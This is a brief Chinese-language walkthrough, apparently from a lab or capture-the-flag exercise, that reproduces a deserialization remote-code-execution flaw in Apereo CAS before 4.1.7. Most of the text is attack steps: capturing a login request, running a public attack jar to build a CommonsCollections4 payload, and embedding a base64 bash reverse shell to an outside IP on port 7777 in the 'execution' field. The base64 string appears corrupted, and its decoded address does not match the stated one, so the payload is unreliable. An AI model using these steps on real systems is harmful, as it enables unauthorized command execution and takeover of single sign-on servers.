一、漏洞概述
Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
二、影响范围
4.1.7版本之前
三、访问页面
四、漏洞复现
1、访问地址/cas/login,输入任意账号密码登录并使用burp抓包。
2、下载apereo-cas-attack-1.0-SNAPSHOT-all.jar。
https://github.com/vulhub/Apereo-CAS-Attack/releases
3、生成反弹shell
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvkjfdkL3RjcC85MS4yMDguNzMuMTA4Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"
其中
YmFzaCAtaSA+JiAvkjfdkL3RjcC85MS4yMDguNzMuMTA4Lzc3NzcgMD4mMQ==
是 bash -i >& /dev/tcp/91.208.73.100/7777 0>&1 的baise64编码
4、复制生成的payload到burp,修改execution的值。
5、在vps上监听7777端口,成功了flag呢?